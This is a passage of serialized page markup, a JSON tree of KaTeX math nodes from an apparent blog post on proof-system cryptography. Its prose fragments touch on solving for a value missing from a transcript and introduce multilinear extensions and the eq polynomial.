hildren":109823},{"className":109822},[2707,20314],[109824,109853],{"type":23,"tag":141,"props":109825,"children":109827},{"className":109826},[2712],[109828,109848],{"type":23,"tag":141,"props":109829,"children":109831},{"className":109830,"style":92061},[2717],[109832],{"type":23,"tag":141,"props":109833,"children":109834},{"style":108531},[109835,109839],{"type":23,"tag":141,"props":109836,"children":109838},{"className":109837,"style":2727},[2726],[],{"type":23,"tag":141,"props":109840,"children":109842},{"className":109841},[2732,2733,2734,2735],[109843],{"type":23,"tag":141,"props":109844,"children":109846},{"className":109845},[2686,20260,2735],[109847],{"type":29,"value":2404},{"type":23,"tag":141,"props":109849,"children":109851},{"className":109850},[20417],[109852],{"type":29,"value":20420},{"type":23,"tag":141,"props":109854,"children":109856},{"className":109855},[2712],[109857],{"type":23,"tag":141,"props":109858,"children":109860},{"className":109859,"style":91615},[2717],[109861],{"type":23,"tag":141,"props":109862,"children":109863},{},[],{"type":23,"tag":141,"props":109865,"children":109867},{"className":109866,"style":2863},[2766],[],{"type":23,"tag":141,"props":109869,"children":109871},{"className":109870},[2868],[109872],{"type":29,"value":1377},{"type":23,"tag":141,"props":109874,"children":109876},{"className":109875,"style":2863},[2766],[],{"type":23,"tag":141,"props":109878,"children":109880},{"className":109879},[2675],[109881,109885,109890,109894,109899],{"type":23,"tag":141,"props":109882,"children":109884},{"className":109883,"style":108687},[2680],[],{"type":23,"tag":141,"props":109886,"children":109888},{"className":109887},[2686,20260],[109889],{"type":29,"value":55},{"type":23,"tag":141,"props":109891,"children":109893},{"className":109892,"style":2767},[2766],[],{"type":23,"tag":141,"props":109895,"children":109897},{"className":109896},[2772],[109898],{"type":29,"value":3058},{"type":23,"tag":141,"props":109900,"children":109902},{"className":109901,"style":2767},[2766],[],{"type":23,"tag":141,"props":109904,"children":109906},{"className":109905},[2675],[109907,109911,109916,109987,109991,109996],{"type":23,"tag":141,"props":109908,"children":109910},{"className":109909,"style":2787},[2680],[],{"type":23,"tag":141,"props":109912,"children":109914},{"className":109913},[20389],[109915],{"type":29,"value":192},{"type":23,"tag":141,"props":109917,"children":109919},{"className":109918},[2686],[109920,109925],{"type":23,"tag":141,"props":109921,"children":109923},{"className":109922,"style":91766},[2686,20260],[109924],{"type":29,"value":91769},{"type":23,"tag":141,"props":109926,"children":109928},{"className":109927},[2702],[109929],{"type":23,"tag":141,"props":109930,"children":109932},{"className":109931},[2707,20314],[109933,109976],{"type":23,"tag":141,"props":109934,"children":109936},{"className":109935},[2712],[109937,109971],{"type":23,"tag":141,"props":109938,"children":109940},{"className":109939,"style":92061},[2717],[109941],{"type":23,"tag":141,"props":109942,"children":109943},{"style":108961},[109944,109948],{"type":23,"tag":141,"props":109945,"children":109947},{"className":109946,"style":2727},[2726],[],{"type":23,"tag":141,"props":109949,"children":109951},{"className":109950},[2732,2733,2734,2735],[109952],{"type":23,"tag":141,"props":109953,"children":109955},{"className":109954},[2686,2735],[109956,109961,109966],{"type":23,"tag":141,"props":109957,"children":109959},{"className":109958},[2686,20260,2735],[109960],{"type":29,"value":2404},{"type":23,"tag":141,"props":109962,"children":109964},{"className":109963},[2772,2735],[109965],{"type":29,"value":2746},{"type":23,"tag":141,"props":109967,"children":109969},{"className":109968},[2686,2735],[109970],{"type":29,"value":687},{"type":23,"tag":141,"props":109972,"children":109974},{"className":109973},[20417],[109975],{"type":29,"value":20420},{"type":23,"tag":141,"props":109977,"children":109979},{"className":109978},[2712],[109980],{"type":23,"tag":141,"props":109981,"children":109983},{"className":109982,"style":109002},[2717],[109984],{"type":23,"tag":141,"props":109985,"children":109986},{},[],{"type":23,"tag":141,"props":109988,"children":109990},{"className":109989,"style":2767},[2766],[],{"type":23,"tag":141,"props":109992,"children":109994},{"className":109993},[2772],[109995],{"type":29,"value":2746},{"type":23,"tag":141,"props":109997,"children":109999},{"className":109998,"style":2767},[2766],[],{"type":23,"tag":141,"props":110001,"children":110003},{"className":110002},[2675],[110004,110008,110013,110018,110023,110027,110032],{"type":23,"tag":141,"props":110005,"children":110007},{"className":110006,"style":2787},[2680],[],{"type":23,"tag":141,"props":110009,"children":110011},{"className":110010},[2686],[110012],{"type":29,"value":1049},{"type":23,"tag":141,"props":110014,"children":110016},{"className":110015},[2686,20260],[110017],{"type":29,"value":55},{"type":23,"tag":141,"props":110019,"children":110021},{"className":110020},[20411],[110022],{"type":29,"value":1788},{"type":23,"tag":141,"props":110024,"children":110026},{"className":110025,"style":2767},[2766],[],{"type":23,"tag":141,"props":110028,"children":110030},{"className":110029},[2772],[110031],{"type":29,"value":109794},{"type":23,"tag":141,"props":110033,"children":110035},{"className":110034,"style":2767},[2766],[],{"type":23,"tag":141,"props":110037,"children":110039},{"className":110038},[2675],[110040,110044,110101,110105,110110],{"type":23,"tag":141,"props":110041,"children":110043},{"className":110042,"style":108502},[2680],[],{"type":23,"tag":141,"props":110045,"children":110047},{"className":110046},[2686],[110048,110053],{"type":23,"tag":141,"props":110049,"children":110051},{"className":110050,"style":91532},[2686,20260],[110052],{"type":29,"value":92351},{"type":23,"tag":141,"props":110054,"children":110056},{"className":110055},[2702],[110057],{"type":23,"tag":141,"props":110058,"children":110060},{"className":110059},[2707,20314],[110061,110090],{"type":23,"tag":141,"props":110062,"children":110064},{"className":110063},[2712],[110065,110085],{"type":23,"tag":141,"props":110066,"children":110068},{"className":110067,"style":92061},[2717],[110069],{"type":23,"tag":141,"props":110070,"children":110071},{"style":108531},[110072,110076],{"type":23,"tag":141,"props":110073,"children":110075},{"className":110074,"style":2727},[2726],[],{"type":23,"tag":141,"props":110077,"children":110079},{"className":110078},[2732,2733,2734,2735],[110080],{"type":23,"tag":141,"props":110081,"children":110083},{"className":110082},[2686,20260,2735],[110084],{"type":29,"value":2404},{"type":23,"tag":141,"props":110086,"children":110088},{"className":110087},[20417],[110089],{"type":29,"value":20420},{"type":23,"tag":141,"props":110091,"children":110093},{"className":110092},[2712],[110094],{"type":23,"tag":141,"props":110095,"children":110097},{"className":110096,"style":91615},[2717],[110098],{"type":23,"tag":141,"props":110099,"children":110100},{},[],{"type":23,"tag":141,"props":110102,"children":110104},{"className":110103,"style":2863},[2766],[],{"type":23,"tag":141,"props":110106,"children":110108},{"className":110107},[2868],[110109],{"type":29,"value":1377},{"type":23,"tag":141,"props":110111,"children":110113},{"className":110112,"style":2863},[2766],[],{"type":23,"tag":141,"props":110115,"children":110117},{"className":110116},[2675],[110118,110122,110127,110132,110137,110141,110146],{"type":23,"tag":141,"props":110119,"children":110121},{"className":110120,"style":2787},[2680],[],{"type":23,"tag":141,"props":110123,"children":110125},{"className":110124},[2686,20260],[110126],{"type":29,"value":55},{"type":23,"tag":141,"props":110128,"children":110130},{"className":110129},[20389],[110131],{"type":29,"value":192},{"type":23,"tag":141,"props":110133,"children":110135},{"className":110134},[2686],[110136],{"type":29,"value":687},{"type":23,"tag":141,"props":110138,"children":110140},{"className":110139,"style":2767},[2766],[],{"type":23,"tag":141,"props":110142,"children":110144},{"className":110143},[2772],[110145],{"type":29,"value":2746},{"type":23,"tag":141,"props":110147,"children":110149},{"className":110148,"style":2767},[2766],[],{"type":23,"tag":141,"props":110151,"children":110153},{"className":110152},[2675],[110154,110158,110163,110220,110225,110229,110234],{"type":23,"tag":141,"props":110155,"children":110157},{"className":110156,"style":2787},[2680],[],{"type":23,"tag":141,"props":110159,"children":110161},{"className":110160},[2686],[110162],{"type":29,"value":1049},{"type":23,"tag":141,"props":110164,"children":110166},{"className":110165},[2686],[110167,110172],{"type":23,"tag":141,"props":110168,"children":110170},{"className":110169,"style":91532},[2686,20260],[110171],{"type":29,"value":92351},{"type":23,"tag":141,"props":110173,"children":110175},{"className":110174},[2702],[110176],{"type":23,"tag":141,"props":110177,"children":110179},{"className":110178},[2707,20314],[110180,110209],{"type":23,"tag":141,"props":110181,"children":110183},{"className":110182},[2712],[110184,110204],{"type":23,"tag":141,"props":110185,"children":110187},{"className":110186,"style":92061},[2717],[110188],{"type":23,"tag":141,"props":110189,"children":110190},{"style":108531},[110191,110195],{"type":23,"tag":141,"props":110192,"children":110194},{"className":110193,"style":2727},[2726],[],{"type":23,"tag":141,"props":110196,"children":110198},{"className":110197},[2732,2733,2734,2735],[110199],{"type":23,"tag":141,"props":110200,"children":110202},{"className":110201},[2686,20260,2735],[110203],{"type":29,"value":2404},{"type":23,"tag":141,"props":110205,"children":110207},{"className":110206},[20417],[110208],{"type":29,"value":20420},{"type":23,"tag":141,"props":110210,"children":110212},{"className":110211},[2712],[110213],{"type":23,"tag":141,"props":110214,"children":110216},{"className":110215,"style":91615},[2717],[110217],{"type":23,"tag":141,"props":110218,"children":110219},{},[],{"type":23,"tag":141,"props":110221,"children":110223},{"className":110222},[20411],[110224],{"type":29,"value":1788},{"type":23,"tag":141,"props":110226,"children":110228},{"className":110227,"style":2767},[2766],[],{"type":23,"tag":141,"props":110230,"children":110232},{"className":110231},[2772],[110233],{"type":29,"value":3058},{"type":23,"tag":141,"props":110235,"children":110237},{"className":110236,"style":2767},[2766],[],{"type":23,"tag":141,"props":110239,"children":110241},{"className":110240},[2675],[110242,110246,110317,110321,110326],{"type":23,"tag":141,"props":110243,"children":110245},{"className":110244,"style":108932},[2680],[],{"type":23,"tag":141,"props":110247,"children":110249},{"className":110248},[2686],[110250,110255],{"type":23,"tag":141,"props":110251,"children":110253},{"className":110252,"style":91766},[2686,20260],[110254],{"type":29,"value":91769},{"type":23,"tag":141,"props":110256,"children":110258},{"className":110257},[2702],[110259],{"type":23,"tag":141,"props":110260,"children":110262},{"className":110261},[2707,20314],[110263,110306],{"type":23,"tag":141,"props":110264,"children":110266},{"className":110265},[2712],[110267,110301],{"type":23,"tag":141,"props":110268,"children":110270},{"className":110269,"style":92061},[2717],[110271],{"type":23,"tag":141,"props":110272,"children":110273},{"style":108961},[110274,110278],{"type":23,"tag":141,"props":110275,"children":110277},{"className":110276,"style":2727},[2726],[],{"type":23,"tag":141,"props":110279,"children":110281},{"className":110280},[2732,2733,2734,2735],[110282],{"type":23,"tag":141,"props":110283,"children":110285},{"className":110284},[2686,2735],[110286,110291,110296],{"type":23,"tag":141,"props":110287,"children":110289},{"className":110288},[2686,20260,2735],[110290],{"type":29,"value":2404},{"type":23,"tag":141,"props":110292,"children":110294},{"className":110293},[2772,2735],[110295],{"type":29,"value":2746},{"type":23,"tag":141,"props":110297,"children":110299},{"className":110298},[2686,2735],[110300],{"type":29,"value":687},{"type":23,"tag":141,"props":110302,"children":110304},{"className":110303},[20417],[110305],{"type":29,"value":20420},{"type":23,"tag":141,"props":110307,"children":110309},{"className":110308},[2712],[110310],{"type":23,"tag":141,"props":110311,"children":110313},{"className":110312,"style":109002},[2717],[110314],{"type":23,"tag":141,"props":110315,"children":110316},{},[],{"type":23,"tag":141,"props":110318,"children":110320},{"className":110319,"style":2767},[2766],[],{"type":23,"tag":141,"props":110322,"children":110324},{"className":110323},[2772],[110325],{"type":29,"value":109794},{"type":23,"tag":141,"props":110327,"children":110329},{"className":110328,"style":2767},[2766],[],{"type":23,"tag":141,"props":110331,"children":110333},{"className":110332},[2675],[110334,110338],{"type":23,"tag":141,"props":110335,"children":110337},{"className":110336,"style":108502},[2680],[],{"type":23,"tag":141,"props":110339,"children":110341},{"className":110340},[2686],[110342,110347],{"type":23,"tag":141,"props":110343,"children":110345},{"className":110344,"style":91532},[2686,20260],[110346],{"type":29,"value":92351},{"type":23,"tag":141,"props":110348,"children":110350},{"className":110349},[2702],[110351],{"type":23,"tag":141,"props":110352,"children":110354},{"className":110353},[2707,20314],[110355,110384],{"type":23,"tag":141,"props":110356,"children":110358},{"className":110357},[2712],[110359,110379],{"type":23,"tag":141,"props":110360,"children":110362},{"className":110361,"style":92061},[2717],[110363],{"type":23,"tag":141,"props":110364,"children":110365},{"style":108531},[110366,110370],{"type":23,"tag":141,"props":110367,"children":110369},{"className":110368,"style":2727},[2726],[],{"type":23,"tag":141,"props":110371,"children":110373},{"className":110372},[2732,2733,2734,2735],[110374],{"type":23,"tag":141,"props":110375,"children":110377},{"className":110376},[2686,20260,2735],[110378],{"type":29,"value":2404},{"type":23,"tag":141,"props":110380,"children":110382},{"className":110381},[20417],[110383],{"type":29,"value":20420},{"type":23,"tag":141,"props":110385,"children":110387},{"className":110386},[2712],[110388],{"type":23,"tag":141,"props":110389,"children":110391},{"className":110390,"style":91615},[2717],[110392],{"type":23,"tag":141,"props":110393,"children":110394},{},[],{"type":23,"tag":32,"props":110396,"children":110397},{},[110398,110399,110495,110497,110522,110524,110549],{"type":29,"value":44613},{"type":23,"tag":3998,"props":110400,"children":110401},{},[110402,110404],{"type":29,"value":110403},"linear in ",{"type":23,"tag":38,"props":110405,"children":110407},{"className":110406},[2658,2659],[110408],{"type":23,"tag":141,"props":110409,"children":110411},{"className":110410},[2664],[110412],{"type":23,"tag":141,"props":110413,"children":110415},{"className":110414,"ariaHidden":2670},[2669],[110416],{"type":23,"tag":141,"props":110417,"children":110419},{"className":110418},[2675],[110420,110424],{"type":23,"tag":141,"props":110421,"children":110423},{"className":110422,"style":108932},[2680],[],{"type":23,"tag":141,"props":110425,"children":110427},{"className":110426},[2686],[110428,110433],{"type":23,"tag":141,"props":110429,"children":110431},{"className":110430,"style":91766},[2686,20260],[110432],{"type":29,"value":91769},{"type":23,"tag":141,"props":110434,"children":110436},{"className":110435},[2702],[110437],{"type":23,"tag":141,"props":110438,"children":110440},{"className":110439},[2707,20314],[110441,110484],{"type":23,"tag":141,"props":110442,"children":110444},{"className":110443},[2712],[110445,110479],{"type":23,"tag":141,"props":110446,"children":110448},{"className":110447,"style":92061},[2717],[110449],{"type":23,"tag":141,"props":110450,"children":110451},{"style":108961},[110452,110456],{"type":23,"tag":141,"props":110453,"children":110455},{"className":110454,"style":2727},[2726],[],{"type":23,"tag":141,"props":110457,"children":110459},{"className":110458},[2732,2733,2734,2735],[110460],{"type":23,"tag":141,"props":110461,"children":110463},{"className":110462},[2686,2735],[110464,110469,110474],{"type":23,"tag":141,"props":110465,"children":110467},{"className":110466},[2686,20260,2735],[110468],{"type":29,"value":2404},{"type":23,"tag":141,"props":110470,"children":110472},{"className":110471},[2772,2735],[110473],{"type":29,"value":2746},{"type":23,"tag":141,"props":110475,"children":110477},{"className":110476},[2686,2735],[110478],{"type":29,"value":687},{"type":23,"tag":141,"props":110480,"children":110482},{"className":110481},[20417],[110483],{"type":29,"value":20420},{"type":23,"tag":141,"props":110485,"children":110487},{"className":110486},[2712],[110488],{"type":23,"tag":141,"props":110489,"children":110491},{"className":110490,"style":109002},[2717],[110492],{"type":23,"tag":141,"props":110493,"children":110494},{},[],{"type":29,"value":110496},"! By induction, the final claim is linear in the original ",{"type":23,"tag":38,"props":110498,"children":110500},{"className":110499},[2658,2659],[110501],{"type":23,"tag":141,"props":110502,"children":110504},{"className":110503},[2664],[110505],{"type":23,"tag":141,"props":110506,"children":110508},{"className":110507,"ariaHidden":2670},[2669],[110509],{"type":23,"tag":141,"props":110510,"children":110512},{"className":110511},[2675],[110513,110517],{"type":23,"tag":141,"props":110514,"children":110516},{"className":110515,"style":20255},[2680],[],{"type":23,"tag":141,"props":110518,"children":110520},{"className":110519,"style":91766},[2686,20260],[110521],{"type":29,"value":91769},{"type":29,"value":110523},". If ",{"type":23,"tag":38,"props":110525,"children":110527},{"className":110526},[2658,2659],[110528],{"type":23,"tag":141,"props":110529,"children":110531},{"className":110530},[2664],[110532],{"type":23,"tag":141,"props":110533,"children":110535},{"className":110534,"ariaHidden":2670},[2669],[110536],{"type":23,"tag":141,"props":110537,"children":110539},{"className":110538},[2675],[110540,110544],{"type":23,"tag":141,"props":110541,"children":110543},{"className":110542,"style":20255},[2680],[],{"type":23,"tag":141,"props":110545,"children":110547},{"className":110546,"style":91766},[2686,20260],[110548],{"type":29,"value":91769},{"type":29,"value":110550}," isn't in the transcript, we can solve for it.",{"type":23,"tag":8287,"props":110552,"children":110554},{"id":110553},"multilinear-extensions-mles",[110555],{"type":29,"value":110556},"Multilinear Extensions (MLEs)",{"type":23,"tag":32,"props":110558,"children":110559},{},[110560,110562,110647],{"type":29,"value":110561},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":38,"props":110563,"children":110565},{"className":110564},[2658,2659],[110566],{"type":23,"tag":141,"props":110567,"children":110569},{"className":110568},[2664],[110570],{"type":23,"tag":141,"props":110571,"children":110573},{"className":110572,"ariaHidden":2670},[2669],[110574],{"type":23,"tag":141,"props":110575,"children":110577},{"className":110576},[2675],[110578,110582,110587,110592,110597,110601,110606],{"type":23,"tag":141,"props":110579,"children":110581},{"className":110580,"style":2787},[2680],[],{"type":23,"tag":141,"props":110583,"children":110585},{"className":110584},[20389],[110586],{"type":29,"value":75103},{"type":23,"tag":141,"props":110588,"children":110590},{"className":110589},[2686],[110591],{"type":29,"value":2698},{"type":23,"tag":141,"props":110593,"children":110595},{"className":110594},[2798],[110596],{"type":29,"value":512},{"type":23,"tag":141,"props":110598,"children":110600},{"className":110599,"style":2804},[2766],[],{"type":23,"tag":141,"props":110602,"children":110604},{"className":110603},[2686],[110605],{"type":29,"value":687},{"type":23,"tag":141,"props":110607,"children":110609},{"className":110608},[20411],[110610,110615],{"type":23,"tag":141,"props":110611,"children":110613},{"className":110612},[20411],[110614],{"type":29,"value":32610},{"type":23,"tag":141,"props":110616,"children":110618},{"className":110617},[2702],[110619],{"type":23,"tag":141,"props":110620,"children":110622},{"className":110621},[2707],[110623],{"type":23,"tag":141,"props":110624,"children":110626},{"className":110625},[2712],[110627],{"type":23,"tag":141,"props":110628,"children":110630},{"className":110629,"style":107249},[2717],[110631],{"type":23,"tag":141,"props":110632,"children":110633},{"style":2721},[110634,110638],{"type":23,"tag":141,"props":110635,"children":110637},{"className":110636,"style":2727},[2726],[],{"type":23,"tag":141,"props":110639,"children":110641},{"className":110640},[2732,2733,2734,2735],[110642],{"type":23,"tag":141,"props":110643,"children":110645},{"className":110644},[2686,20260,2735],[110646],{"type":29,"value":54883},{"type":29,"value":110648},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":32,"props":110650,"children":110651},{},[110652],{"type":29,"value":110653},"For this post, the only property you need is:",{"type":23,"tag":32,"props":110655,"children":110656},{},[110657],{"type":23,"tag":38,"props":110658,"children":110660},{"className":110659},[2658,2659],[110661],{"type":23,"tag":141,"props":110662,"children":110664},{"className":110663},[2664],[110665],{"type":23,"tag":141,"props":110666,"children":110668},{"className":110667,"ariaHidden":2670},[2669],[110669,110831,111103],{"type":23,"tag":141,"props":110670,"children":110672},{"className":110671},[2675],[110673,110678,110747,110752,110813,110818,110822,110827],{"type":23,"tag":141,"props":110674,"children":110677},{"className":110675,"style":110676},[2680],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":141,"props":110679,"children":110682},{"className":110680},[2686,110681],"accent",[110683],{"type":23,"tag":141,"props":110684,"children":110686},{"className":110685},[2707,20314],[110687,110735],{"type":23,"tag":141,"props":110688,"children":110690},{"className":110689},[2712],[110691,110730],{"type":23,"tag":141,"props":110692,"children":110695},{"className":110693,"style":110694},[2717],"height:0.9313em;",[110696,110710],{"type":23,"tag":141,"props":110697,"children":110699},{"style":110698},"top:-3em;",[110700,110705],{"type":23,"tag":141,"props":110701,"children":110704},{"className":110702,"style":110703},[2726],"height:3em;",[],{"type":23,"tag":141,"props":110706,"children":110708},{"className":110707,"style":93886},[2686,20260],[110709],{"type":29,"value":31554},{"type":23,"tag":141,"props":110711,"children":110713},{"style":110712},"top:-3.6134em;",[110714,110718],{"type":23,"tag":141,"props":110715,"children":110717},{"className":110716,"style":110703},[2726],[],{"type":23,"tag":141,"props":110719,"children":110723},{"className":110720,"style":110722},[110721],"accent-body","left:-0.0833em;",[110724],{"type":23,"tag":141,"props":110725,"children":110727},{"className":110726},[2686],[110728],{"type":29,"value":110729},"~",{"type":23,"tag":141,"props":110731,"children":110733},{"className":110732},[20417],[110734],{"type":29,"value":20420},{"type":23,"tag":141,"props":110736,"children":110738},{"className":110737},[2712],[110739],{"type":23,"tag":141,"props":110740,"children":110743},{"className":110741,"style":110742},[2717],"height:0.1944em;",[110744],{"type":23,"tag":141,"props":110745,"children":110746},{},[],{"type":23,"tag":141,"props":110748,"children":110750},{"className":110749},[20389],[110751],{"type":29,"value":192},{"type":23,"tag":141,"props":110753,"children":110755},{"className":110754},[2686,110681],[110756],{"type":23,"tag":141,"props":110757,"children":110759},{"className":110758},[2707],[110760],{"type":23,"tag":141,"props":110761,"children":110763},{"className":110762},[2712],[110764],{"type":23,"tag":141,"props":110765,"children":110768},{"className":110766,"style":110767},[2717],"height:0.714em;",[110769,110781],{"type":23,"tag":141,"props":110770,"children":110771},{"style":110698},[110772,110776],{"type":23,"tag":141,"props":110773,"children":110775},{"className":110774,"style":110703},[2726],[],{"type":23,"tag":141,"props":110777,"children":110779},{"className":110778,"style":91532},[2686,20260],[110780],{"type":29,"value":92351},{"type":23,"tag":141,"props":110782,"children":110783},{"style":110698},[110784,110788],{"type":23,"tag":141,"props":110785,"children":110787},{"className":110786,"style":110703},[2726],[],{"type":23,"tag":141,"props":110789,"children":110792},{"className":110790,"style":110791},[110721],"left:-0.1799em;",[110793],{"type":23,"tag":141,"props":110794,"children":110798},{"className":110795,"style":110797},[110796],"overlay","height:0.714em;width:0.471em;",[110799],{"type":23,"tag":32743,"props":110800,"children":110807},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[110808],{"type":23,"tag":110809,"props":110810,"children":110812},"path",{"d":110811},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":141,"props":110814,"children":110816},{"className":110815},[20411],[110817],{"type":29,"value":1788},{"type":23,"tag":141,"props":110819,"children":110821},{"className":110820,"style":2863},[2766],[],{"type":23,"tag":141,"props":110823,"children":110825},{"className":110824},[2868],[110826],{"type":29,"value":1377},{"type":23,"tag":141,"props":110828,"children":110830},{"className":110829,"style":2863},[2766],[],{"type":23,"tag":141,"props":110832,"children":110834},{"className":110833},[2675],[110835,110840,111021,111025,111030,111035,111085,111090,111094,111099],{"type":23,"tag":141,"props":110836,"children":110839},{"className":110837,"style":110838},[2680],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":141,"props":110841,"children":110843},{"className":110842},[20296],[110844,110849],{"type":23,"tag":141,"props":110845,"children":110847},{"className":110846,"style":20303},[20296,20301,20302],[110848],{"type":29,"value":107327},{"type":23,"tag":141,"props":110850,"children":110852},{"className":110851},[2702],[110853],{"type":23,"tag":141,"props":110854,"children":110856},{"className":110855},[2707,20314],[110857,111009],{"type":23,"tag":141,"props":110858,"children":110860},{"className":110859},[2712],[110861,111004],{"type":23,"tag":141,"props":110862,"children":110865},{"className":110863,"style":110864},[2717],"height:0.3448em;",[110866],{"type":23,"tag":141,"props":110867,"children":110869},{"style":110868},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[110870,110874],{"type":23,"tag":141,"props":110871,"children":110873},{"className":110872,"style":2727},[2726],[],{"type":23,"tag":141,"props":110875,"children":110877},{"className":110876},[2732,2733,2734,2735],[110878],{"type":23,"tag":141,"props":110879,"children":110881},{"className":110880},[2686,2735],[110882,110936,110941,110946,110951,110956,110961],{"type":23,"tag":141,"props":110883,"children":110885},{"className":110884},[2686,110681,2735],[110886],{"type":23,"tag":141,"props":110887,"children":110889},{"className":110888},[2707],[110890],{"type":23,"tag":141,"props":110891,"children":110893},{"className":110892},[2712],[110894],{"type":23,"tag":141,"props":110895,"children":110898},{"className":110896,"style":110897},[2717],"height:0.9774em;",[110899,110913],{"type":23,"tag":141,"props":110900,"children":110902},{"style":110901},"top:-2.714em;",[110903,110908],{"type":23,"tag":141,"props":110904,"children":110907},{"className":110905,"style":110906},[2726],"height:2.714em;",[],{"type":23,"tag":141,"props":110909,"children":110911},{"className":110910},[2686,20260,2735],[110912],{"type":29,"value":1883},{"type":23,"tag":141,"props":110914,"children":110916},{"style":110915},"top:-2.9774em;",[110917,110921],{"type":23,"tag":141,"props":110918,"children":110920},{"className":110919,"style":110906},[2726],[],{"type":23,"tag":141,"props":110922,"children":110925},{"className":110923,"style":110924},[110721],"left:-0.2355em;",[110926],{"type":23,"tag":141,"props":110927,"children":110929},{"className":110928,"style":110797},[110796,2735],[110930],{"type":23,"tag":32743,"props":110931,"children":110932},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[110933],{"type":23,"tag":110809,"props":110934,"children":110935},{"d":110811},[],{"type":23,"tag":141,"props":110937,"children":110939},{"className":110938},[2868,2735],[110940],{"type":29,"value":20367},{"type":23,"tag":141,"props":110942,"children":110944},{"className":110943},[20389,2735],[110945],{"type":29,"value":75103},{"type":23,"tag":141,"props":110947,"children":110949},{"className":110948},[2686,2735],[110950],{"type":29,"value":2698},{"type":23,"tag":141,"props":110952,"children":110954},{"className":110953},[2798,2735],[110955],{"type":29,"value":512},{"type":23,"tag":141,"props":110957,"children":110959},{"className":110958},[2686,2735],[110960],{"type":29,"value":687},{"type":23,"tag":141,"props":110962,"children":110964},{"className":110963},[20411,2735],[110965,110970],{"type":23,"tag":141,"props":110966,"children":110968},{"className":110967},[20411,2735],[110969],{"type":29,"value":32610},{"type":23,"tag":141,"props":110971,"children":110973},{"className":110972},[2702],[110974],{"type":23,"tag":141,"props":110975,"children":110977},{"className":110976},[2707],[110978],{"type":23,"tag":141,"props":110979,"children":110981},{"className":110980},[2712],[110982],{"type":23,"tag":141,"props":110983,"children":110986},{"className":110984,"style":110985},[2717],"height:0.5935em;",[110987],{"type":23,"tag":141,"props":110988,"children":110990},{"style":110989},"top:-2.786em;margin-right:0.0714em;",[110991,110995],{"type":23,"tag":141,"props":110992,"children":110994},{"className":110993,"style":107392},[2726],[],{"type":23,"tag":141,"props":110996,"children":110998},{"className":110997},[2732,107397,107398,2735],[110999],{"type":23,"tag":141,"props":111000,"children":111002},{"className":111001},[2686,20260,2735],[111003],{"type":29,"value":54883},{"type":23,"tag":141,"props":111005,"children":111007},{"className":111006},[20417],[111008],{"type":29,"value":20420},{"type":23,"tag":141,"props":111010,"children":111012},{"className":111011},[2712],[111013],{"type":23,"tag":141,"props":111014,"children":111017},{"className":111015,"style":111016},[2717],"height:0.5144em;",[111018],{"type":23,"tag":141,"props":111019,"children":111020},{},[],{"type":23,"tag":141,"props":111022,"children":111024},{"className":111023,"style":2804},[2766],[],{"type":23,"tag":141,"props":111026,"children":111028},{"className":111027,"style":93886},[2686,20260],[111029],{"type":29,"value":31554},{"type":23,"tag":141,"props":111031,"children":111033},{"className":111032},[20389],[111034],{"type":29,"value":192},{"type":23,"tag":141,"props":111036,"children":111038},{"className":111037},[2686,110681],[111039],{"type":23,"tag":141,"props":111040,"children":111042},{"className":111041},[2707],[111043],{"type":23,"tag":141,"props":111044,"children":111046},{"className":111045},[2712],[111047],{"type":23,"tag":141,"props":111048,"children":111050},{"className":111049,"style":110897},[2717],[111051,111063],{"type":23,"tag":141,"props":111052,"children":111053},{"style":110698},[111054,111058],{"type":23,"tag":141,"props":111055,"children":111057},{"className":111056,"style":110703},[2726],[],{"type":23,"tag":141,"props":111059,"children":111061},{"className":111060},[2686,20260],[111062],{"type":29,"value":1883},{"type":23,"tag":141,"props":111064,"children":111066},{"style":111065},"top:-3.2634em;",[111067,111071],{"type":23,"tag":141,"props":111068,"children":111070},{"className":111069,"style":110703},[2726],[],{"type":23,"tag":141,"props":111072,"children":111074},{"className":111073,"style":110924},[110721],[111075],{"type":23,"tag":141,"props":111076,"children":111078},{"className":111077,"style":110797},[110796],[111079],{"type":23,"tag":32743,"props":111080,"children":111081},{"xmlns":110801,"width":110802,"height":110803,"style":110804,"viewBox":110805,"preserveAspectRatio":110806},[111082],{"type":23,"tag":110809,"props":111083,"children":111084},{"d":110811},[],{"type":23,"tag":141,"props":111086,"children":111088},{"className":111087},[20411],[111089],{"type":29,"value":1788},{"type":23,"tag":141,"props":111091,"children":111093},{"className":111092,"style":2767},[2766],[],{"type":23,"tag":141,"props":111095,"children":111097},{"className":111096},[2772],[111098],{"type":29,"value":109794},{"type":23,"tag":141,"props":111100,"children":111102},{"className":111101,"style":2767},[2766],[],{"type":23,"tag":141,"props":111104,"children":111106},{"className":111105},[2675],[111107,111112,111122,111127,111176,111181,111185,111234],{"type":23,"tag":141,"props":111108,"children":111111},{"className":111109,"style":111110},[2680],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":141,"props":111113,"children":111115},{"className":111114},[2686,29],[111116],{"type":23,"tag":141,"props":111117,"children":111119},{"className":111118},[2686],[111120],{"type":29,"value":111121},"eq",{"type":23,"tag":141,"props":111123,"children":111125},{"className":111124},[20389],[111126],{"type":29,"value":192},{"type":23,"tag":141,"props":111128,"children":111130},{"className":111129},[2686,110681],[111131],{"type":23,"tag":141,"props":111132,"children":111134},{"className":111133},[2707],[111135],{"type":23,"tag":141,"props":111136,"children":111138},{"className":111137},[2712],[111139],{"type":23,"tag":141,"props":111140,"children":111142},{"className":111141,"style":110897},[2717],[111143,11115